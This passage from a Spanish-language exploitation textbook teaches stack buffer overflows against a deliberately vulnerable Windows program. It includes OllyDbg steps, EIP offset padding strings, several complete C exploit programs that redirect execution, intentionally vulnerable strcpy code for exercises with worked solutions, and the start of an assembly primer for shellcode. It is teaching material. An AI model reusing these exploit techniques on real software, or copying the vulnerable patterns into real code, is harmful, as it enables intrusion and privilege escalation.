2) Teclea F3 para seleccionar un archivo.
3) Selecciona el archivo de nombre AGene_Vuln.exe.
4) Click en Abrir.
5) En las direcciones de memoria que aparecen en la parte izquierda de OllyDbg, busca 004010B8:
El Libro de Teraexe Alvaro J. Gene
146
En la imagen de OllyDbg, podemos ver que la dirección de memoria 004010B8 está relacionada con un bloque de
código en donde sale un mensaje que dice Primer Mensaje. Por lo tanto, si queremos ejecutar el bloque de código que
dice Primer Mensaje, debemos utilizar la dirección de memoria 004010B8 dentro de nuestro exploit. Eso sí, para
ejecutar una dirección de memoria mediante nuestro exploit, no podemos colocar directamente la dirección de memoria
dentro de nuestro exploit, tenemos que hacer lo siguiente:
004010B8
00 40 10 B8
B8 10 40 00
\xB8\x10\x40\x00
En el paso dos y tres, podemos notar como el último decimal (B8) pasa a ser el primero, el penúltimo decimal (10) pasa
a ser el segundo, el segundo (40) pasa a ser el penúltimo, y el primero (00) pasa a ser el último. Al final, obtenemos el
siguiente resultado: \xB8\x10\x40\x00. Ese será el resultado que usaremos en el código fuente de nuestro exploit debido
a que después de explotar la vulnerabilidad queremos que salga el mensaje Primer Mensaje en nuestra línea de
comandos (MS-DOS). Como se nombró anteriormente, en un programa de computadora, el registro EIP contiene la
dirección de memoria de la siguiente instrucción o función que un programa o la pila va a ejecutar; por lo tanto, después
de explotar la vulnerabilidad de buffer overflow, buscaremos colocar la dirección de memoria 004010B8 en el registro
EIP (dirección de retorno) para que así nuestro programa ejecute esa dirección de memoria.
El Libro de Teraexe Alvaro J. Gene
147
Una forma de saber que un ejecutable tiene desbordamientos de memoria es sobrescribiendo los registros mediante el
programa OllyDbg.
En esta auditoría, el registro EBP se sobrescribe si incluimos 772 bytes de la siguiente forma (B en hexadecimal es 42):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
El Libro de Teraexe Alvaro J. Gene
148
Por otro lado, el registro EBP y EIP se sobrescriben si incluimos 776 bytes de la siguiente forma (C en hexadecimal es
43):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
El Libro de Teraexe Alvaro J. Gene
149
Como se puede ver en la imagen anterior, después de los 772 bytes, los cuatro bytes o letras que sobrescriben el registro
EIP (dirección de retorno) son los siguientes: 773, 774, 775, 776. Por lo tanto, esos cuatro bytes son los que
reemplazaremos por la siguiente dirección de memoria: 004010B8 (\xB8\x10\x40\x00).
En otras palabras, en una vulnerabilidad de buffer overflow, después de desbordar la memoria, el informático debe
buscar los cuatro bytes que sobrescriban el registro EIP y reemplazarlo por la dirección de memoria que él/ella quiera
que el programa vulnerable vaya a ejecutar.
Dato Adicional: Aunque el objetivo de esta sección es enseñar a un informático a utilizar las vulnerabilidades de buffer
overflow para infiltrarse en un sistema de forma remota, nos podemos dar cuenta de algo interesante si usamos un poco
de lógica: las vulnerabilidades de buffer overflows también pueden ser utilizadas de forma local para saltarse un
sistema de login que pida username y password; en este caso, después de explotar el bug, el informático puede ejecutar
una dirección de memoria que se encuentre más adelante a la que le va a pedir que inserte el username y password.
Además de ese tipo de ataque, los buffer overflows también se podrían utilizar de forma local para obtener permisos
administrativos. Bueno, continuamos con el objetivo de esta sección…
El Libro de Teraexe Alvaro J. Gene
150
Exploit (Usar Visual Studio para crear el archivo ejecutable):
#include <stdio.h>
//Usando el archivo de cabecera windows.h para usar la función WinExec:
#include <windows.h>
//Usando el archivo de cabecera string.h para usar la función strcat:
#include <string.h> int main () { //Usando printf para mostrar unos mensajes: printf("\nWriting Buffer Overflow Exploits by Socket_0x03\n"); printf("\nwww.teraexe.com\n\n");
//Creamos un string variable que contendrá el nombre del programa vulnerable:
char AGene_String[1000] = "C:\\AGene_Vuln.exe ";
//Creamos un string variable que contendrá 772 bytes:
char AG_Bytes[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //50b. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAA"; // Total: 772 bytes
/*Creamos un string variable que contendrá la dirección de retorno
que va a sobreescribir el registro EIP:*/ char AGene_Return_Address[] = "\xB8\x10\x40\x00";
/*Usamos la función strcat para añadir los bytes de AG_Bytes a
AGene_String. De esta forma, la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA...*/ strcat(AGene_String, AG_Bytes);
El Libro de Teraexe Alvaro J. Gene
151
/*Usamos la función strcat para añadir los bytes de
AGene_Return_Address a AGene_String. De esta forma,
la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA... (772 As)... \xC5\x10\x40\x00.*/ strcat(AGene_String, AGene_Return_Address);
/*Usando la función WinExec para abrir un ejecutable. En este caso,
el ejecutable se abrirá junto al string que añadimos anteriormente.*/
WinExec(AGene_String, 0);
//La función return con el valor de cero para cerrar el programa:
return 0; }
Después de ejecutar el exploit, veremos un resultado similar al siguiente:
El Libro de Teraexe Alvaro J. Gene
152
Exploit (Usar Visual Studio para crear el archivo ejecutable):
#include <stdio.h>
//Usando el archivo de cabecera windows.h para usar la función WinExec:
#include <windows.h>
//Usando el archivo de cabecera string.h para usar la función strcat:
#include <string.h> int main () { //Usando printf para mostrar unos mensajes: printf("\nWriting Buffer Overflow Exploits by Socket_0x03\n"); printf("\nwww.teraexe.com\n\n");
//Creamos un string variable que contendrá el nombre del programa vulnerable:
char AGene_String[1000] = "C:\\AGene_Vuln.exe ";
//Creamos un string variable que contendrá 772 bytes:
char AG_Bytes[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //50b. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAA"; // Total: 772 bytes
/*Creamos un string variable que contendrá la dirección de retorno
que va a sobreescribir el registro EIP:*/ char AGene_Return_Address[] = "\xC5\x10\x40\x00";
/*Usamos la función strcat para añadir los bytes de AG_Bytes a
AGene_String. De esta forma, la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA...*/ strcat(AGene_String, AG_Bytes);
El Libro de Teraexe Alvaro J. Gene
153
/*Usamos la función strcat para añadir los bytes de
AGene_Return_Address a AGene_String. De esta forma,
la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA... (772 As)... \xC5\x10\x40\x00.*/ strcat(AGene_String, AGene_Return_Address);
/*Usando la función WinExec para abrir un ejecutable. En este caso,
el ejecutable se abrirá junto al string que añadimos anteriormente.*/
WinExec(AGene_String, 0);
//La función return con el valor de cero para cerrar el programa:
return 0; }
Después de ejecutar el exploit, veremos un resultado similar al siguiente:
El Libro de Teraexe Alvaro J. Gene
154
Parte 6 – Ejercicios: Crear el Exploit del Programa Vulnerable
En esta sección, se dejarán unos cuantos ejercicios para que el lector pueda practicar y ver por sí mismo si entendió el
contenido de las secciones anteriores. Al principio, se van a dejar unos cuantos ejercicios; luego, se dejarán las
respuestas de los ejercicios al final de la sección. La idea es que el lector no vea las respuestas hasta que él/ella haya
logrado resolver el problema por sí mismo, luego, el lector puede verificar su respuesta junto con las soluciones que se
dejan al final de esta sección.
Ejercicios
Ejercicio 1: En el siguiente código fuente, se encuentra una vulnerabilidad de buffer overflow. Intenta crear un exploit
que desborde la memoria, sobrescriba los registros EBP y EIP, y finalmente deje la aplicación fuera de funcionamiento.
En este caso, el registro EBP debe ser sobrescrito con 42424242, y el registro EIP debe ser sobrescrito con 43434343.
Ejercicio 2: En el siguiente código fuente, se encuentra una vulnerabilidad de buffer overflow. Intenta crear un exploit
que desborde la memoria y ejecute la dirección de memoria que tiene el siguiente mensaje: Tercer Mensaje (sin ejecutar
las direcciones de memoria que dicen Primer Mensaje y Segundo Mensaje).
Ejercicio 3: En el segundo código fuente de esta sección, se encuentra una vulnerabilidad de buffer overflow. Intenta
crear un exploit que desborde la memoria y ejecute la dirección de memoria que contiene el siguiente mensaje: Mensaje
Secreto.
El Libro de Teraexe Alvaro J. Gene
155
Código Vulnerable para Ejercicio 1 y 2:
#include <stdio.h> //El archivo de cabecera string.h para usar la función strcpy:
#include <string.h> //Declarando una función:
int AGene_Function(); /*La Función Main:
En el segundo parámetro se encuentra un string variable, el cual
contendrá el número de caracteres enviados a la línea de comandos.*/
int main(int argc, char *argv[]) { //Creando un string variable (de tamaño 600) para almacenar caracteres: char AGene_String[600]; //La función strcpy para copiar el string de argv a la variable AGene_String:
strcpy(AGene_String, argv[1]); //Usando la función printf para crear la vulnerabilidad de buffer overflow:
printf("%s", AGene_String); //Terminar la función main:
return 0; }; //Definiendo una función:
int AGene_Function() { printf("\n\nPrimer mensaje.\n"); // Posición de Memoria: 004010B8 = \xB8\x10\x40\x00
printf("\nSegundo mensaje.\n"); // Posición de Memoria: 004010C5 = \xC5\x10\x40\x00
printf("\nTercer mensaje.\n"); // Posición de Memoria: 004010D2 = \xD2\x10\x40\x00
return 0; }
El Libro de Teraexe Alvaro J. Gene
156
Código Vulnerable para Ejercicio 3:
#include <stdio.h> //El archivo de cabecera string.h para usar la función strcpy:
#include <string.h> //Declarando una función:
int AGene_Function(); /*La Función Main:
En el segundo parámetro se encuentra un string variable, el cual
contendrá el número de caracteres enviados a la línea de comandos.*/
int main(int argc, char *argv[]) { //Creando un string variable (de tamaño 550) para almacenar caracteres: char AGene_String[550]; //La función strcpy para copiar el string de argv a la variable AGene_String:
strcpy(AGene_String, argv[1]); //Usando la función printf para crear la vulnerabilidad de buffer overflow:
printf("%s", AGene_String); //Terminar la función main:
return 0; }; //Definiendo una función:
int AGene_Function() { printf("\n\nMensaje A.\n"); printf("\nMensaje B.\n"); printf("\nMensaje C.\n"); printf("\nMensaje D.\n"); printf("\nMensaje Secreto.\n"); return 0; }
El Libro de Teraexe Alvaro J. Gene
157
Soluciones
Solución al Ejercicio 1:
Ejecuta OllyDBG, click en File, Open, selecciona el archivo vulnerable. En arguments añade 608 bytes de la siguiente
forma:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
Click en Abrir y luego teclea F9 para correr el programa. Como resultado, se sobrescribirán los registros EBP y EIP:
El Libro de Teraexe Alvaro J. Gene
158
Solución al Ejercicio 2:
Se desarrolla y ejecuta un exploit que contenga el siguiente código fuente:
#include <stdio.h> //Usando el archivo de cabecera windows.h para usar la función WinExec:
#include <windows.h> //Usando el archivo de cabecera string.h para usar la función strcat:
#include <string.h> int main () { //Usando printf para mostrar unos mensajes: printf("\nWriting Buffer Overflow Exploits by Socket_0x03\n"); printf("\nwww.teraexe.com\n\n"); //Creamos un string variable que contendrá el nombre del programa vulnerable:
char AGene_String[1000] = "C:\\AGene_Vuln.exe "; //Creamos un string variable que contendrá 604 bytes:
char AG_Bytes[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //50b. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAA"; // Total = 604 bytes. /*Creamos un string variable que contendrá la dirección de retorno
que va a sobreescribir el registro EIP:*/ char AGene_Return_Address[] = "\xD2\x10\x40\x00"; /*Usamos la función strcat para añadir los bytes de AG_Bytes a
AGene_String. De esta forma, la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA...*/ strcat(AGene_String, AG_Bytes); /*Usamos la función strcat para añadir los bytes de
El Libro de Teraexe Alvaro J. Gene
159
AGene_Return_Address a AGene_String. De esta forma, la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA... (604 As)... \xD2\x10\x40\x00.*/ strcat(AGene_String, AGene_Return_Address); /*Usando la función WinExec para abrir un ejecutable. En este caso,
el ejecutable se abrirá junto al string que añadimos anteriormente.*/
WinExec(AGene_String, 0); //La función return con el valor de cero para cerrar el programa:
return 0; }
Después de que se ejecute el exploit, veremos como la línea de comandos muestra el mensaje que se encuentra en la
dirección de memoria 004010D2:
El Libro de Teraexe Alvaro J. Gene
160
Solución al Ejercicio 3:
Primero, se usa OllyDBG para abrir la aplicación vulnerable y ver las direcciones de memoria:
Como se puede observar en la imagen de arriba, el texto Mensaje Secreto se encuentra en la siguiente dirección de
memoria: 004010EC. Si lo pasamos a hexadecimal opcodes para poderlo usar en nuestro exploit, obtendremos el
siguiente resultado: \xEC\x10\x40\x00.
Segundo, se abre la aplicación vulnerable con OllyDBG y se incluyen 558 bytes de la siguiente forma:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
El Libro de Teraexe Alvaro J. Gene
161
Como podemos observar en la imagen de arriba, el registro EIP no se sobrescribió con 43434343 y el registro EBP no se
sobrescribió con 42424242; sin embargo, podemos notar como solamente hace falta incluir dos veces la A (en nuestra
cadena de bytes) para así poder sobrescribir el registro EIP con 43434343 y el registro EBP con 42424242. Entonces,
abrimos la aplicación vulnerable con OllyDBG y esta vez vamos a incluir 560 bytes de la siguiente forma:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
Al incluir 560 bytes, obtenemos el siguiente resultado:
En este punto, ya tenemos la dirección de memoria que queremos ejecutar (\xEC\x10\x40\x00) y sabemos la cantidad
de bytes que se tienen que incluir para sobrescribir el registro EIP; por lo tanto, ya tenemos los datos necesarios para
poder desarrollar nuestro exploit:
El Libro de Teraexe Alvaro J. Gene
162
Exploit:
#include <stdio.h> //Usando el archivo de cabecera windows.h para usar la función WinExec:
#include <windows.h> //Usando el archivo de cabecera string.h para usar la función strcat:
#include <string.h> int main () { //Usando printf para mostrar unos mensajes: printf("\nWriting Buffer Overflow Exploits by Socket_0x03\n"); printf("\nwww.teraexe.com\n\n"); //Creamos un string variable que contendrá el nombre del programa vulnerable:
char AGene_String[1000] = "C:\\AGene_Vuln.exe "; //Creamos un string variable que contendrá 556 bytes:
char AG_Bytes[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //50b. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAA"; // Total = 556 bytes. /*Creamos un string variable que contendrá la dirección de retorno
que va a sobreescribir el registro EIP:*/ char AGene_Return_Address[] = "\xEC\x10\x40\x00"; /*Usamos la función strcat para añadir los bytes de AG_Bytes a
AGene_String. De esta forma, la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA...*/ strcat(AGene_String, AG_Bytes); /*Usamos la función strcat para añadir los bytes de
AGene_Return_Address a AGene_String. De esta forma, la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA... (556 As)... \xEC\x10\x40\x00.*/
El Libro de Teraexe Alvaro J. Gene
163
strcat(AGene_String, AGene_Return_Address); /*Usando la función WinExec para abrir un ejecutable. En este caso,
el ejecutable se abrirá junto al string que añadimos anteriormente.*/
WinExec(AGene_String, 0); //La función return con el valor de cero para cerrar el programa:
return 0; }
Resultado:
El Libro de Teraexe Alvaro J. Gene
164
Parte 7 – Conocimientos Básicos sobre Programación en ASM
En la parte ocho de esta sección, se van a mostrar los procedimientos o pasos que un informático debe seguir para así
poder escribir sus shellcodes en lenguaje ensamblador. Lógicamente, para poder escribir shellcodes en ASM, una
persona debe tener conocimientos en lenguaje ensamblador; por lo tanto, antes de pasar a la escritura de shellcodes, se
va a brindar una base sobre la programación en ASM en donde escribiremos unos cuantos programas que hacen uso de
las funciones/variables/registros más importantes que un pentester debe saber para poder crear sus shellcodes. De esta
forma, un informático que quiera desarrollar shellcodes no se tiene que leer un libro de mil páginas sobre el lenguaje
ensamblador, sino que fácilmente se puede estudiar los puntos más importantes que él/ella debe saber para el desarrollo
de exploits.
Teoría – Aplicación 1: Mensaje de Texto en Consola:
1) La Directiva 386 (.386): Cuando un informático se encuentra desarrollando un código en lenguaje ensamblador,
él/ella puede utilizar la directiva 386 para indicarle a su compilador de ASM que los siguientes códigos son para los
procesadores 80386. Al indicarle al compilador de ASM que los códigos son para los procesadores 80386, el
compilador ya puede comenzar a reconocer las instrucciones de los procesadores 80386. En resumidas cuentas, al
incluir la directiva 386, el ensamblador habilita y reconoce las instrucciones para los procesadores 80386.
Finalmente, después de que el informático termina sus códigos de programación y crea su ejecutable, el programa
va a poder ser reconocido y leído por las computadoras que tienen procesadores 386. Es importante saber que la
directiva 386 no es la única que un programador puede incluir en su compilador de ASM, el informático podría
incluir otra directiva (.186/.486/.586), la cual va a depender del tipo de procesador en el cual su programa va a ser
reconocido y leído.
2) La Directiva Model (.model flat, stdcall): Un informático puede utilizar la directiva model para especificar el
modelo de memoria de su aplicación. Como se va a desarrollar una aplicación para Win32, un informático “tiene
que” especificar un tipo de modelo conocido en el idioma inglés como flat memory model o linear memory model,
El Libro de Teraexe Alvaro J. Gene
165
lo que en español significaría modelo de memoria plana. ¿Qué es el modelo de memoria plana? El modelo de
memoria plana es el concepto que se le da a un direccionamiento de memoria que se produce entre un programa de
computadora y la memoria RAM; en este direccionamiento, la memoria del programa se va ubicando de forma
continua desde el punto más bajo del hardware hasta el punto más alto.
3) Habilitar el Caso Sensitivo (option casemap :none): Cuando un informático quiere habilitar el caso sensitivo en su
código fuente, él/ella puede colocar la siguiente línea de código: option casemap :none. Habilitar la opción de caso
sensitivo será efectivo para que el compilador de ASM sepa que existe una diferencia entre las mayúsculas y las
minúsculas; por ejemplo, la palabra Teraexe va a ser diferente a teraexe porque existe una pequeña diferencia entre
la T mayúscula y la t minúscula.
4) La Directiva include: Include es una palabra en el idioma inglés, la cual puede ser traducida al idioma español como
incluir. En el lenguaje de programación ASM, un informático puede utilizar la directiva include para así incluir
archivos de extensión .inc dentro de su código fuente, como por ejemplo los archivos windows.inc, kernel32.inc,
user32.inc, entre otros.
5) La Directiva includelib: La directiva includelib puede ser utilizada por un informático para incluir archivos de
extensión .lib como kernel32.lib, user32.lib, y otros por el estilo.
6) La Directiva data (.data): data es una palabra en el idioma inglés, la cual puede ser traducida al idioma español como
datos o información. En el lenguaje ensamblador, un programador puede utilizar la directiva data para así indicarle
al compilador de ASM que las siguientes líneas de códigos están relacionadas con los datos o la información que
una aplicación va a guardar dentro de la memoria RAM de una computadora; luego, la aplicación podría utilizar
esos datos o información para mostrárselos a la persona que se encuentre utilizando la aplicación. Por ejemplo, al
final de esta sección, se va a desarrollar un programa en ensamblador que contiene los siguientes datos o
información: El Libro de Teraexe by Socket_0x03. Como se puede observar en el código fuente de la aplicación,
El Libro de Teraexe Alvaro J. Gene
166
esos datos se incluyen después de la directiva data. Eso sí, es importante notar que los datos o la información no se
incluye directamente después de la directiva .data; en este caso, al igual que muchos otros lenguajes de
programación, el informático debe de declarar una variable y un tipo de dato (data-type). A continuación se muestra
la sintaxis para declarar variables en lenguaje ensamblador:
Nombre_de_Variable Directiva Valor
a) Nombre de Variable: En esta sección, un programador debe colocar el nombre de su variable. Luego, cuando el
informático quiera utilizar la variable en otra parte del programa, él/ella solamente tiene que escribir el nombre
de la variable.
